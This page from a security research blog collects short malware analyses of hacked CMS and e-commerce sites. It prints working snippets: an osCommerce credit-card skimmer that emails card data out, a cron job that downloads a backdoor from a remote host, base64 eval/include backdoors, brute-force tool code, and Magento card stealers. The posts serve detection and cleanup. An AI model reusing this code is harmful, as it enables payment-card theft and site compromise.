Sucuri Research Labs

Sucuri on Twitter Sucuri on Facebook

Notes from the LabHome  |  Notes  |  Malware data  |  Signatures  |  Tools  |  About

Credit Card Stealer on osCommerce

Published: 2016-04-28  by  Ahmad Azizan

We regularly detect malware that targets payment modules on compromised ecommerce websites, mainly on Magento.

Recently we’ve stumbled upon the same threat on osCommerce. The malicious code was found inside ./catalog/checkout_confirmation.php and used obfuscation as below:


When decoded, the code appeared to be a credit card stealer. The code sends a copy of stolen credit card information to attacker’s email and saves it inside an image file for backup purposes. This happens every time customers submit their payment details during the checkout process:

$recipient = "<attacker’s-email-address>";
$subject = "www.<compromised-site>.com";
$mailheaders = "From: www.<compromised-site>.com <sales@ www.<compromised-site>.com >";
$address4 = tep_address_format($order->billing['format_id'], $order->billing, 1, ' ', '<br>');
$ip = getenv("REMOTE_ADDR");
$message .= "Name on card: ".$_POST['cc_owner']." CC: ".$_POST['cc_number']." Exp: ".$_POST['cc_expires_month']
         ."/".$_POST['cc_expires_year']." CVV2: ".$_POST['cc_ccv']."\n";
mail($recipient, $subject, $message, $mailheaders);
$f = fopen('/<path to public directory>/catalog/images/oscommerce2.gif','a');
fputs($f, $message . "\n"); fclose($f);

If you're using osCommerce as ecommerce solution, always check your core files, especially ./catalog/checkout_confirmation.php for any modified content, and do regular scans. As always, if you need a professional service for your osCommerce website, you can count on our Website AntiVirus service.

Excessive Resource Usage by Replica Spam

Published: 2016-04-26  by  Bruno Zanelato

Chinese replica spam campaigns aim for large number of doorways per infected site. And quite often their doorways are static, which means hundreds of thousands created .html files.

Last year the most popular approach was creating several directories with meaningless names with 10-30 thousand doorways in each. This year we began noticing a new modification that creates only one doorway file (content.php) per directory, but the number of such spammy directories may be staggering. For example, on a site that had been compromised for at least three months (it easy to tell as the directory names are time stamps such as 20160112123901 or 20160123165028), the hackers created over 200,000 such directories.

As you might imagine, not all shared hosts may properly manage such large numbers of files. In some cases, this leads to exceeding account inode quota. Even a simple ls command may become a problem. Here's the warning that you may see on a DreamHost server when you execute the ls command in a directrory with too many spammy subdirectories.

$ ls -l | wc -l

Yikes! One of your processes (ls, pid 21519) was just killed for excessive resource usage.
Please contact DreamHost Support for details.


Don't wait until hackers cause serious problems. Add security monitoring and protection to your site.

Invisible WordPress Posts

Published: 2016-04-19  by  Denis Sinegubko

A compromised website is perfect for placing black hat SEO doorways. Usually hackers either create such doorways as static files in deep subdirectories or use a script that dynamically generates doorways and map them to site URLs using various .htaccess rewrite tricks. Sometimes they even install whole CMS' with spammy content in subdirectories of legitimate sites.

A more rare and extreme option is to use an existing CMS to create doorways. The main problem with this approach is that the spammy posts are visible to all visitors and site admins who can delete them as soon as they find them.

But if you know how the CMS works internally you can tweak it to hide spammy posts from real visitors while leaving them visible to search engines. Here's an example of a WordPress malware that does just this:

The main idea is to register a new post status:

register_post_status( 'test', array(
				'public'                    => true,
				'exclude_from_search'       => true,
				'show_in_admin_all_list'    => false,
				'show_in_admin_status_list' => false
		) );

The posts with this status are excluded from search results and from editing listings in the admin interface.

To make sure search engines see them, hackers ping them using the weblogUpdates.extendedPing API every time they create a new post and provide them with a modified feed that includes posts with this new status:

function feed_door(){
		query_posts( 'post_status=test&showposts=20' );
		require( ABSPATH . WPINC . '/feed-atom.php' );

In this particular case, the code that created and managed all these custom spammy posts was hidden in the wptheme_opt option inside WordPress database, and this line inside the active theme's functions.php file invoked the code:

<?php add_action('init', create_function('', 
    implode("\n", array_map("base64_decode",
    unserialize(get_option("wptheme_opt")))))); ?>

Other parts of this malware were stored in the wpdhtml and wpdcon WordPress options in the database.

Such tricks are not possible without WordPress hooks so you should monitor integrity of all WordPress files: core, themes, plugins. Removing the hooks is usually enough to clean the site, but you may still want to remove spammy posts from your WordPress database.

Check if Google indexed suspicious pages on your site or shows your site pages in search results for unrelated queries (in this particular case it was the essay spam). You can find this information in Google Search Console. If you see such strange indexed pages, use the Fetch As Google tool in Search Console to make sure Google no longer sees them.

Malicious Cron Jobs

Published: 2016-04-14  by  Krasimir Konov

You may remove malware from files and a database, close all security holes, change all passwords, but your site still gets reinfected regularly. It may be because you forgot to clean your crontab.

Here's an example of a malicious cron job that creates a backdoor file in the /wp-includes/Text/Diff/Engine directory every other day:

DOWNLOAD_URL="hxxp://cpanel .jawebsolutions .com/u/w.gz"
1 3 */2 * * rm -f /var/tmp/w.gz ; wget -q -O /var/tmp/w.gz $DOWNLOAD_URL && \
gunzip -c /var/tmp/w.gz > $LOCAL_FILE_PATH && touch -c -t 201007151834 \
$LOCAL_FILE_PATH && rm -f /var/tmp/w.gz

So don't forget to check cron jobs in your hosting control panel or use the crontab -l command if you have SSH access.

Backdoor Evolution: From Eval to Include

Published: 2016-03-24  by  Denis Sinegubko

There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities:

<script language="php">
e v a l($a($_REQUEST[sam]));</script>

Originally, it's a one line script. To improve readability and avoid anti-virus false alarms I broke it into multiple lines and added obvious spaces inside the eval keyword. You can find similar modifications in the second snippet too.

The chr(98).chr(97)... part decodes to base64_decode which makes it a typical backdoor that executes arbitrary base64 encoded PHP code passed in the sam request parameter.

While base64_decode was obfuscated, the eval keyword was still prominent, which made the script easy to detect.

A couple of weeks ago we began finding a new version of this backdoor (usually in wp-check.php files).

$m=chr(98).chr(97). chr(115).chr(101).chr(54).chr(52).chr(95).
@file_put_contents(chr(122),"<?php ".$m);

Again, originally it's all in one line. You can recognize the obfuscated base64_decode on the first line. The second line looks similar but there's no eval and the request parameter name is now obfuscated: chr(122) decodes to z. Let's see how it works without the eval:

The decoded value of the z request parameter is prepended by the PHP opening tag <?php and saved in the z file in the current directory. Now the z file contains the code provided by the attackers. To execute the code, they include the z file in to the current script @include(chr(122)); and then delete it @unlink(chr(122)); to removed traces of their activity.

Note, we usually find this backdoor on severely infected sites with outdated WordPress plugins. Such sites usually have 3-5 more types of backdoors scattered across different directories. If you find this backdoor on server, it usually means that either your site uses outdated/vulnerable plugins/themes/components, or it had been hacked, then cleaned, but you failed to deleted all the backdoors last time, so the attackers still have access to your site.

Fake Rating Rich Snippets

Published: 2016-03-16  by  Denis Sinegubko

It's quite a common black hat SEO practice to insert fake rating rich snippets on doorway pages to make them attract more attention on search result pages and to give them more credibility.

Here is one example of how such fake ratings are being generated:

$rating = rand(3,5);
$rcount = rand(120,220);
$txt = "<div itemscope=\"\" itemtype=\"\">\n
    <span itemprop=\"name\">$htitle</span>\n
    <div itemprop=\"aggregateRating\" itemscope=\"\"
    <span itemprop=\"ratingValue\">$rating-5</span> stars based on\n
    <span itemprop=\"reviewCount\">$rcount</span> reviews\n</div>\n

As you can see, they aim for ratings like 4-5 stars based on 133 reviews, but both the rating and the number of reviews are just random numbers in the ranges that make them look both plausible (not 5 stars always) and trustworthy (based on at least 120 reviews). Funny, this particular code allows to generate ratings like 5-5 stars ;-)

As many other things on the web, you shouldn't immediately trust anything what you see in Google's search results. Those rating stars are not a seal of quality from Google. It's just information provided by sites themselves. Moreover, when you search for cheap prescription drugs, pirated software, luxury replicas or questionable financial services, quite often such ratings in search results are fake, and results lead to doorways on hacked sites.

If your site doesn't use rich snippets on its pages, but you see them in the Search Appearance/Structured Data section of Google Search Console, this may be a sign of a hack.

It's one of many examples of SEO poisoning infections that we deal with. We literally remove Gigabytes of spammy doorways from hacked sites every day and if you need a professional help, you can always count on us.

Remote WordPress Brute Force Tools

Published: 2016-03-10  by  Denis Sinegubko

Just a quick reminder:

  • Don't use common words and easy character combinations as passwords.
  • Your compromised site can be used to hack third-party sites.

A real world confirmation of the above two statements sometimes can be found in one script. For example in a so called Wordpress Brute Force Tool that we regularly find uploaded to compromised sites.

	if(!function_exists(curl_init)) die('<font color="red">[-] Not Curl HERE!<br></font>');
	$username = trim($_POST['username']);
	$thread = trim($_POST['threads']);
	$wordlist = array_filter(file($_POST['wordlist']));
	if(!is_file($_POST['wordlist'])) die('<font color="red">[-] File '.$_POST['wordlist'].' not found!</font><br>');
	$log = trim($_POST['log']);
	$urlz = array_filter(explode("\r\n", $_POST['sites']));
	foreach($urlz as $url){
		la_brute($url, $username, $wordlist, $thread, $log);

This tool receives lists of WordPress sites and common passwords. Then it tries every login/password combination on every site and reports the combinations that worked. To improve performance, this particular tool sends requests to multiple sites at once using asynchronous Curl functions.

Having uploaded such tools to multiple compromised sites on different servers, hackers can conduct distributed brute-force attacks.

Brute-forcing is just one of the many types of distributed attacks that your compromised site may be used for. DDoS attacks and vulnerability scans also regularly leverage resources of hacked sites.

Make the Internet safer: Use strong passwords and protect your site.

Encrypted Cc.php with credit card stealing code

Published: 2016-01-25  by  Denis Sinegubko

The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer credit card details either via server level code or JavaScript injected into order pages.

Modifications of the app/code/core/Mage/Payment/Model/Method/Cc.php file are among the most popular. Here are some typical examples that we wrote about:

Recently we found one more modification of this malware. The code is almost identical. The main changes are the use of online services to retrieve geolocation data based on the victim IP address

$dip = json_decode(file_get_contents("".$ip.""));
$country = $dip->country;

and the bank data based on the credit card number

$bin = substr($binx, 0, 6);
$getbank = json_decode(file_get_contents("".$bin.""));
$ccbrand = $getbank->brand;
$ccbank = $getbank->bank;
$cctype = $getbank->card_type;

plus the new remote address where they send the stolen data to: hxxps://www.herdamultimedia[.]com/resulta.php, which seems to also be a hacked site.

The most interesting thing about this malware is that not only did it inject the malicious code into Cc.php but also encrypted the whole file content so that it looks like one long line of code:

<?php /* Mr-GanDrunX - Hiddenymouz - HiddenCode */ error_reporting(0); define('__LOCALFILE__',__FILE__); goto HIDDEN; function gandrunx(){ preg_replace("/.*/e",strrev("\x3B\x29\x29\x29'=Q..... 

This encryption is mainly used by Indonesian hackers.

Why did they encrypt the file? Probably to avoid detection when people search for the malware patterns that we reported before. However, it's actually not a very bright idea. Many malware scanners will detect the suspicious encryption anyway. Plus it is very easy to find it if you compare files to the canonical Magento files.

If you see modified core Magento files don't try to identify and remove the malicious code - just replace them with the original ones. And don't forget to update/patch Magento, check if there are any malicious administrator users and scan your server for backdoors that hackers might left there. Or let Sucuri take care of your site

Obfuscating display:none cloaking

Published: 2016-01-12  by  Denis Sinegubko

We've seen lots of JavaScript tricks that hide injected spam from human visitors while making it look "visible" for search engines.

The most popular approach is applying the display:none style to a spam block like here:

<div id="tesi"><strong style="font-weight: 400">

Here you can see a div block with id tesi, followed by a JavaScript that makes the element tesi invisible.

This looks obvious when you see it but may be not as obvious to search engine bots that need to figure out how the JavaScript code affects visibility of a particular content. To make thing even more difficult, the element id in the script is slightly obfuscated "t"+"e"+"s"+"i" and you really need to execute the code to identify the element it works with.

A more interesting obfuscation is used in the __e_accelerate campaign that we wrote about last week. The injected content consist of multiple blocks like this:

<script language="JavaScript">vouhihni='bumnajmi';imppkmat="none";</script>
<blockquote id="bumnajmi">...SPAMMY CONTENT HERE...</blockquote>

At first glance, the JavaScript code does't make any sence. Although we can see the id of the spam block there bumnajmi and the imppkmat="none"; part implies that it hides something. But we don't see what makes the bumnajmi element hidden.

The answer lies in the trailing JavaScript block:

<script language="JavaScript">sucoy=document.getElementById(vouhihni);;</script>

This block glues the parts of the first block together. The first variable is used to select a DOM element. And the second variable is used to make the selected element invisible.

While this trick may fool some search engines into indexing the spammy content while keeping the spam invisble to human visitors, it's still not a problem for website security scanners like our SiteCheck that see and report the spam.

Speeding up indexing of SPAM files via sitemap.xml

Published: 2016-01-07  by  Yuliyan Tsvetkov

Remember the wave of HTML files infection back in 2015 affecting outdated WordPress sites? Now it came back more powerful, with more files uploaded via a PHP backdoor.

We have found large number of created folders in the root folder of a website.

The naming convention of the SPAM files was different from the previous infections, and the uploader backdoor script was located in the wp-content folder.

The obfuscation had this string:


where fUUPd was a custom decryption function based on gzinflate/base64_decode and character code shift.

function fUUPd($NVAR) { 
	for($i=0;$i<strlen($NVAR);$i++) { 
		$NVAR[$i] = chr(ord($NVAR[$i])-1); 
	return $NVAR; 

After decoding, it was easy to recognize the most popular WSO/FilesMan web shell.

The interesting part was the sitemap.xml files in all SPAM folders that clearly speeded up indexing of the malicious pages in popular search engines.

Keep an eye on your Search Console reports and notifications - you may find early signs of the compromise there. Act before it's too late and Google places embarrassing "This site may be hacked" label on your search results. Website security monitoring will help you stay on top of things.

Fake AdWords Domain Advertises USA Immigration Service

Published: 2016-01-05  by  Denis Sinegubko

You might know Google popular services: AdWords, AdSense and DoubleClick. You might even know scripts and domains they use. For example, DoubleClick loads scripts from and AdWords load a conversion tracker script from

<script type="text/javascript" 

Recently, we cleaned an infected WordPress site where every post in the wp_posts table was appended by the following script.

<script src="http://ads.googleadservices[.]at/counter.js" type="text/javascript"></script>

The same googleadservices domain, just on the .at TLD. Easy to confuse with the Google's one.

This domain can be also found in conditional mobile redirect rules in .htaccess

RewriteRule ^(.*)$ http://mobile.googleadservices[.]at [L,R=302]

If we open that counter.js script, we'll see that it creates a pop-up loading hxxp://googleads.g.doubleclick[.] Again, the same googleads.g.doubleclick domain as in DoubleClick but on instead of .net.

In our experience. such domains usually redirect traffic to some ad network or to whoever pays for it. In this case, the pop-up always shows the usa-immigration-service[.]us site and it looks like the whole malware campaign was created (and doubleclick[.] and googleadservices[.]at were registered) specifically to promoted that immigration service site (which could easily be a scam).

You can see it if you check the IP addresses of each site:

  • ads.googleadservices[.]at - dedicated server in Russia
  • googleads.g.doubleclick[.] - - dedicated server in Russia
  • usa-immigration-service[.]us - - dedicated server in Russia


  • Don't trust well know domains. Especially when they are misspelled or have a different TLD. Especially when they are found in the places where you didn't put them.
  • Don't trust obtrusive ads. If you see pop-up or redirects unrelated to sites you visit, the chances are they are scam.
  • When you clean your website, don't forget about the database. It can be infected too. We clean lots of sites with infected databases.

Hiding spam from Ahrefs and Majestic

Published: 2016-01-04  by  Denis Sinegubko

Many black hat SEO campaigns use cloaking on hacked sites. Malicious scripts only inject spammy content when search engine crawlers request web pages on compromised sites. This time we came across an unusual cloaking condition.

We've been watching one spam campaign that uses php functions with names like __e_accelerate or __e_accelerate_engine for quite a long time. It normally used this cloaking condition:

if ((substr(trim($_SERVER['REMOTE_ADDR']),0,6)=='74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {...

The spam is being injected only if web pages are requested from Google's IPs (Google has an IP range that begins with '74.125') or if the request's User-Agent header belongs to crawlers of the most popular search engines: Google, Bing, Yahoo, Ask, etc. This condition is more or less typical to cloaking conditions used by the majority of other black hat SEO campaigns.

To our surprise, recently we found a variation of that e_accelerate malware that had the following cloaking condition:

if (!preg_match("/(ahrefs|majestic|baidu)/i", $_SERVER['HTTP_USER_AGENT'])) {...

So now this malware injects spam to requests from both search crawlers and humans. They only hide their spam from, Majestic (ex MajesticSEO) and Baidu. The exclusion rules look unusual, don't they?

Let's try to figure out what's going on. When checking the injected spammy text, I can see that it has scripts that make the text invisible in browsers that execute JavaScript (i.e. all modern browsers) so it's safe to "show" it human visitors.

To understand why they hide their spam from Ahrefs, Majestic and Baidu, we should know what these sites do.

Baidu is the #1 Chinese search engine. By hiding spammy links from Baidu, they prevent them from ranking well in China. So they are simply are not interested in Chinese traffic.

Ahrefs and Majestic are SEO tools that allow to view backlink profiles for any domain. They have their own crawlers, and the volumes of pages indexed by these tools are not much smaller than Google's index. This means that if we check information for domains used in spammy links, we can easily find hacked sites that link back to them. So the goal of hiding spammy links from Ahrefs and Majestic is preventing easy discovery of the sites hacked by this campaign.

By the way, they currently promote these sites:
  • buycialistadalafil[.]org
  • buycheapsildenafils[.]com
  • writemypaper-online[.]us
  • buy-essayforcheap[.]xyz

... and despite of the spammers' efforts, Majestic has backlink profiles for some of them ;-)

This malware can be usually found in WordPress index.php or in Joomla! includes/defines.php files. If you need a professional help with cleanup, you can request it here

Pseudo-Darkleech in Drupal

Published: 2015-12-28  by  Denis Sinegubko

It's just a minor update about the "pseudo-darkleech" malware we've been following for about a year now.

We wrote that it can be usually located inside the wp-includes/nav-menu.php file in WordPress and in the includes/defines.php files in Joomla! sites. But these are not the only targeted CMS'. We also find Drupal sites infected by this malware. The includes/ file is where this malware can be found in Drupal sites.

The malware fetches the code it injects into webpages from third-party servers. The URLs of those servers are encoded using the base64 algorithm, e.g.:

$url = base64_decode("aHR0cDovLzkzLjE4OS40Mi43Mi9ibG9nLz9mcmFnaWxlJnV0bV9zb3VyY2U9MjQ2NzoyNjAzODM6NDU1");

which decodes to hxxp://93 .189 .42 .72/blog/?fragile&utm_source=2467:260383:455

but there are versions that use a custom encryption/decryption algorithm.

$url = decrypt_url('a3d3czksLDI2Mi0xMjQtNjQtMjQ7LGFvbGQsPGFmd2IldnduXHBsdnFgZj41NTQxOzk1MTA3MTs5NDQ0');

Here's the decryption function:

so the decoded URL is hxxp://151 .217. 57 .178/blog/?beta&utm_source=66728:623428:777

The rest of the code doesn't change much so we reliably detect this malware when we clean sites, even if we didn't see pseudo-darkleech on some particular CMS before.

File Modification Date - not the Best Compromise Signal

Published: 2015-12-18  by  Denis Sinegubko

Some webmasters only check recently modified files when searching for malware. It may work sometimes, but many infections don't change files' time-stamps. There is the "touch" PHP function that allows to set whatever modification time to any file.

If hackers create a new file, they chose a time-stamp of some neighbor file. If they inject code into an existing file, they simply save its original modification date and then restore it after the injection.

Today I want to show you a piece of code that also sets fake modification date to malicious files:

In this case, the code picks a random date between a year and two years back from now.

Don't limit your searches to recently modified files. Make sure to scan all files on your server. You don't have to do it manually. Integrity control systems will make the task much easier. Of course, you need to be absolutely sure all your files are clean at the moment when you put them under integrity control. If you already suspect that some of the files may contain malicious code then hire professionals - we'll scan all your files for thousands of malware patterns.

CACHE START Russian Spam

Published: 2015-12-10  by  Bruno Zanelato

We see quite a few sites with the following injected PHP code:

This malware contacts dfoiqweomxa[.]ru and fetches spam links from there. The spam mainly promotes Russian phishing and money laundering sites. Infected sites can be found all around the world. We found this spam even on sites of American and international universities.

Obfuscated Links in the Captcha on Login WordPress Plugin

Published: 2015-11-24  by  Bruno Zanelato

Do you remember SweetCAPTCHA that tried to monetize its WordPress plugin injecting unwanted ads into web pages?

Today we've found another CAPTCHA plugin with a suspicious code. We cleaned a site and our scanner reported a suspicious obfuscated code inside the Captcha on Login plugin (45,000+ all time installs) files.

The obfuscation had strings like this:

When we see such things, we always try to decode them to figure out whether it's legitimate or not.

Looks like that the owner of this plugin, called "Anderson Makiyama" is a Brazilian developer who is the owner of these affiliate marketing websites:
hxxp://hotplus .net .br/ plugin-hotlinks-plus/
hxxp://funildevendasparainiciante .com .br/ onde-divulgar-links-de-afiliados/

This plugin seems to be only showing these links inside the WordPress admin interface on the plugin options and report pages as "Other products of the author" (Outros Produtos do Autor). It's maybe a bit annoying but doesn't seem to be a big deal. It's natural for plugin developers to pitch their other products (even such questionable ones) on the internal plugin pages (not visible to site users).

The only problem is that link injecting code is obfuscated. Not only does it result in warnings produced by security scanners, but this practice is considered unacceptable by the official WordPress Plugin Directory guidelines:

4. No obfuscated code. We believe that obfuscated code violates the spirit, if not the letter, of the GPL license under which we operate....
...Intentionally obfuscated code is not the preferred form, and not allowed in the repository under any circumstances.

It's sad to see how plugins that are supposed to help stop hackers, actually do things that resemble what hackers do. Sometimes you can find such plugins even in the official WordPress plugin directory.

If you are looking for alternative solutions against brute force attacks, you can check our Website Firewall.

IP Obfuscation Using Dots .........

Published: 2015-11-20  by  Denis Sinegubko

Recently I analyzed a porn doorway script and found an interesting way to obfuscate an IP address there.

As you know, IPv4 addresses consist of 4 bytes (values 0-255) separated by dots, e.g.

In the above code, you can see that each byte of the IP address $adr is represented by a string of dots, where the number of dots in the string is the byte value.

This give us the following IP address: 173 .236 .65 .24, which is used to generate a redirect URL for the doorway visitors:

header("Location: hxxp://$ard/input/?mark=20151119-$s");

In our case, the final redirect URL was hxxp://173 . 236 . 65 . 24/input/?mark=20151119-<>/azq9mzo3v

This code was found in thousands of .php doorway files created by the attackers. This is the sort of a hack that may cause troubles even after you have completely cleaned your site. You can read about such scenarios on our blog. To prevent Googlebot from indexing and re-indexing tons of pages that shouldn't have been there in the first place, it may be a good idea to close spammy directories on your server with robots.txt directives.

If you find something like this on your server, it's only a tip of an iceberg. To stop the hackers, you need also to find and close all security holes (including the backdoors that they uploaded to your site). If you need a professional help in malware cleanup and site protection, please check our Website AntiVirus service.

New Wave of g00 Script Injections

Published: 2015-11-16  by  Cesar Anjos

Once active during the past summer, the g00[.]co script injections come with a new wave on infections this November.

The most common variation is

<script src="hxxp: / / g00[.]co/BtFVPd"></script>

This short URL hides the hxxp://yourjavascript[.]com/3921156982/not.js script, which in turn opens hxxp://speedclick[.]info/app/amung.php?c=a&s=<infected_domain> for visitors that come from Facebook, Google, Bing and Yahoo!

On the server side, the malware is mainly injected into WordPress theme files. Usually you can find the following PHP code (in one line. Line breaks added for readability) in either footer.php or functions.php

It injects that g00 script into all site URLs that don't contain wp-admin.

As always, if you need site security monitoring and cleanup services, you can count on us.

Helpscout Blacklisted by Norton

Published: 2015-11-11  by  Rodrigo Escobar

Early this morning we got complaints from our clients mentioning that Norton was flagging Helpscout, a Help Desk System.

Some of the pages were triggering this warning

Upon a quick check at Norton Safe Web, we can clearly see that a few files (4) were flagged by them

We tried accessing those to see if there was indeed any malicious content in it but all of them led to a "404 - Not Found" page. With that being said, all we can do at the moment is wait for Helpscout to ask Norton to review the "Blacklisting" status.

Reversed Pastebin Injection in Magento DB.

Published: 2015-11-02  by  Cesar Anjos

We worked on an infected Magento site that had unwanted pop-up ads when you visited it. The culprit was this injected script (spaces added intentionally)

It was found in the cms_block table of the Magento database.

This code uses the reverse() JavaScript function to dynamically inject a remote script directly from - https: / / pastebin . com/raw .php?i = 9tWPBSzY. That’s not the first time we see hackers leveraging the Pastebin service

This time the raw pastebin code uses the same reverse() trick to inject the final remote script from hxxp: / / lachinampa . com . mx/stat/. That script has the actual pop-up code that uses the blablatrafic .com as the intermediary between other ad providers.

In some cases, the same pop-up code injection was noticed on WordPress sites. So this isn’t limited to Magento and you should check your files and database even if you are using a different CMS. Or have us scan your site for you.

Oxxtm Redirects - Lots of Option but No Choice

Published: 2015-10-16  by  Denis Sinegubko

Lately we see waves of a strange WordPress infection.

It usually adds backdoor code at the top of theme files (footer.php, page.php, etc)


and injects the following code at the top of the core WordPress file wp-blog-header.php

and a later modification

which (after decoding) injects the same script from the same server, using its IP address this time: hxxp: //45 .34 .72 .187/1.js

What make this infection strange is the oxxtm’s wp-logo.js script. It redirects visitors coming from search engines to www .oxxtm[.]com but does it in a really surprising way. The script defines 54 URLs, randomly pick one of then and redirects to it. This trick would make sense if those 54 URLs were different, but the script defines 54 virtually identical URLs. The differences are negligible: one with trailing slash after domain name, one without “www.” and the rest 51 with “www.“, plus one slot for “document.location.href”, which adds 1/54 chance that the page will not be redirected.

Now what’s the point of doing this random selection? The only explanation I see is the attackers expected to sell the redirected traffic to multiple clients but failed to find them, so they are leaving their own site in all 50+ slots as a placeholder.

Let us know @sucurilabs if you have a different explanation.

vBulletin Still Redirecting to Myfilestore .com

Published: 2015-10-13  by  Fernando Barbosa

MyFileStore[.]com redirects from vBulletin sites have been a problem since 2011. It is associated with the VBSEO plugin with multiple unpatched vulnerabilities that has been discontinued for more than 3 year now. You can find more information about this hack here

Since then, the code remains pretty much the same. Only minor changes in variable names. Just search either the datastore table or the includes/datastore/datastore_cache.php file for = preg_replace( with strtr inside of it like:

preceded by long gibberish stings that look like this:

Despite the fact that that this hack is very old and VBSEO is no longer supported and should have been already removed from sites, we still regularly clean vBulletin websites affected by this infection.

Please, keep your sites software up-to-date. Secure it to prevent future break-ins.

Magento Malware Emails Stolen Credit Card Details to Hackers

Published: 2015-10-09  by  Cesar Anjos

We regularly find malware that tries to steal client credit card details from Magento sites. Hackers use a few tricks and slightly modify their code from time to time.

For example, we've seen multiple modifications of the code reported in this article. Instead of using HTTP requests to send data to their own site, hackers often just email the stolen data to their emails.

To hide the email address they use the following modification:

where Y3NfdG9vbHM0dXNAeWFob28uY29t decodes to

Regardless of the actual code, the best way to mitigate this issue is preserve integrity of Magento core files. The files hackers usually modify are:

  • app/code/core/Mage/Payment/Model/Method/Cc.php
  • includes/src/Mage_Payment_Model_Method_Cc.php

Of course, removing the malicious code is not enough. You should find and close security holes to prevent reinfections.

Malware in comments

Published: 2015-10-05  by  Denis Sinegubko

There are many tricks to hide malicious code. One of them is placing it to the part of legitimate files where people don't normally expect to see executable code so they don't skip such places during manual reviews.

Comment blocks are one of such places. For example, this is a comment from an infected wp-config.php file found by our security analyst Brandon Benavente. Can you spot the malware there?

I hope, you noticed, that hackers use */ and /* to close the multiline comment block and open a new comment block. And between them they placed executable PHP code, which may look as a part of the comment. To make it even less prominent, they even split the code in two pieces on two different lines.

include on one line
and "\x2fhom\x65/...skipped...\x2fpub\x6cic_\x68tml\x2fwp-\x63ont\x65nt/\x75pgr\x61de/\x6cogi\\x70"; two lines below.

Since PHP interpreter skips everything in comment blocks, the real code that it sees is:
include "\x2fhom\x65/...skipped...\x2fpub\x6cic_\x68tml\x2fwp-\x63ont\x65nt/\x75pgr\x61de/\x6cogi\\x70";
or, after decoding:
include "/home/...skipped.../public_html/wp-content/upgrade/login.php";

Basically, hackers created a wp-content/upgrade/login.php file with malicious code. To execute it every time when someone loads any WordPress pages, they included that file into wp-config.php. This way the only changed core WordPress file is wp-config.php - the file that is never updated during WordPress updates and the file that normally not checked for integrity because it has custom code (keys, DB credentials, custom settings) and is different on every site.

This means that, depending on the tools you use, you might not be alerted about the file change, so you'll need to review it manually. And when you do it, remember about tricks like this. On one hand, using a code viewer with syntax highlighting may help. On the other hand, make sure you have a backup copy of your wp-config.php. Whenever you are not sure in its integrity, just restore it from a clean backup copy.

Cleaning and protecting websites may be a challenging task. If you need a professional help, you can always count on us.

FormCraft v1.4.6 under attack

Published: 2015-10-01  by  Denis Sinegubko

As we clean many sites infected by the VisitorTracker malware, we see vulnerabilities in multiple plugins being exploited by attackers.

For example, my colleagues John Castro and Marc-Alexandre Montpas analyzed many sites where hackers exploited quite an old version 1.4.6 of the FormCraft premium plugin (current version is 3.2.4). FormCraft 1.4.6 contains a file upload script that is not protected in any way. Which makes it really easy for an attacker to upload backdoors on vulnerable sites.

And here are logs entries that show how this vulnerability is being exploited in the wild:

Remember, both free and premium plugins and themes should always be up to date. If you can't update some software, you should remove it from your server. Alternatively, consider virtual patching provided by Website Firewalls


Minimalistic WordPress injection

Published: 2015-09-23  by  Denis Sinegubko

WordPress-specific malware is slightly different than generic PHP malware. Inside WordPress files, it can use WordPress API and WordPress database. This allows to create this kind of injections:

It was found in WordPress theme files. The code executes the value of the "render" (deobfuscated) option from the WordPress wp_options table, which it extracts using the get_option WordPress API function

This piece of code can be used both as a backdoor (say to execute arbitrary code passed in a certain request parameter), or to inject a client-side malware (it was found right after the <body> tag in theme files). We actually found the "render" option in the database, but by the time we began working on the site, that option had already been cleaned, so at this point we can't tell what exactly was there. If you find this malware and the original value of the "render" option on your site, please let us know at

Yet another spam mailer

Published: 2015-09-21  by  Krasimir Konov

Here is a mailer script we recently found that appears to be designed to send spam emails.

These kind of scripts are pretty common, there are multiple variations but in most cases they are only designed to send spam. Accessing the file directly without passing a specific variable would cause it to just display a blank page which is used by spammers to hide the functionality of the script.

If you see it on your site, you are likely compromised.

Magento script stealing credit card details

Published: 2015-09-14  by  Krasimir Konov

We recently found another malicious script used to steal credit cards that appears to be injected into compromised websites running Magento, it appears to be sending the information to which is a recently registered domain that mimics the payment gateway

The malware was found in file: ./app/code/core/Mage/Payment/Model/Method/Cc.php

We regularly detect malware that targets Magento payment modules:

In this case, the entire code from the $object all the way to the last line ending with $ctx2); should be removed from the Cc.php file in order to stop the credit card details from being sent to the remote website.

Other files could also contain this malicious code or even different code that will re-add the injection back in the site even after the above is removed, so just contact us if you have any questions and we will be happy to inspect the website.

Hacked Sites Help Hack Third-Party Sites

Published: 2015-09-08  by  Denis Sinegubko

Just a reminder that your hacked site may be used to anonymously hack third-party sites.

This Joomla com_Myblog exploit script was found on one hacked site:

This code uploads a PHP backdoor disguised as a JPG file using a vulnerability in a really old (and it looks like, not longer supported) My Blog Joomla component.

Still some webmaster use it on Joomla 1.5.x sites and this exploit has proven to be efficient as you can read in this blogpost. This blogpost also provides a quick fix for this vulnerable component. Apply it if you still use legacy versions of this component, but also consider upgrading your site to use software that is up to date (Both Joomla and third-party components, plugins and templates)

visitorTracker spam-seo injector wave corrupts sites

Published: 2015-09-07  by  Peter Gramantik

Recently, we're seeing an increasing "visitorTracker" malware wave.

Moreover, there are lot of corrupted infections out there, breaking the infected sites. Right now, the malicious code starts and ends with "visitorTracker" comment tag and lot of site's legitimate JavaScript files are injected with the malicious code as well. The outcome - in case of successful (not broken) infection - is spam content served for the visitors using mobile devices.

Part of the malicious injection:

As mentioned, the infection is very buggy and often removed single-quotes from legitimate files which corrupts the site completely. Affects plugins, themes and even core files of WordPress and Joomla. The solution is to restore files from a clean backup.

Secondtds.mooo[.]com .htaccess redirects

Published: 2015-09-02  by  Krasimir Konov

We are finding many sites infected with malicious redirects inside the .htaccess file, to secondtds.mooo[.]com/go.php?sid=3. That domain is a TDS (traffic controller) which redirects visitors to another website pushing your browser to download this malware:

The redirect chain is:

Here is the .htaccess content:

The attack is quite buggy and doesn't check whether a site is already infected, thus multiple identical redirect rules in the same .htaccess file.

If you find this code, remove it right away! Malware

Published: 2015-09-01  by  Daniel Cid

We are seeing a large amount of sites with a malscript from injected into them. The malware redirects visitors to, which redirects them to That's the code being added to the hacked sites:

What is so bad about it? The final domain '', pushes you to buy a fake anti virus software with some annoying messages and warnings:

"Important security message. Please call the number provided asap to get your computer fixed. You have a virus!"

If you see this gcanada code on your site, it means you got hacked. It is not from the Government of Canada, as they want you to think.

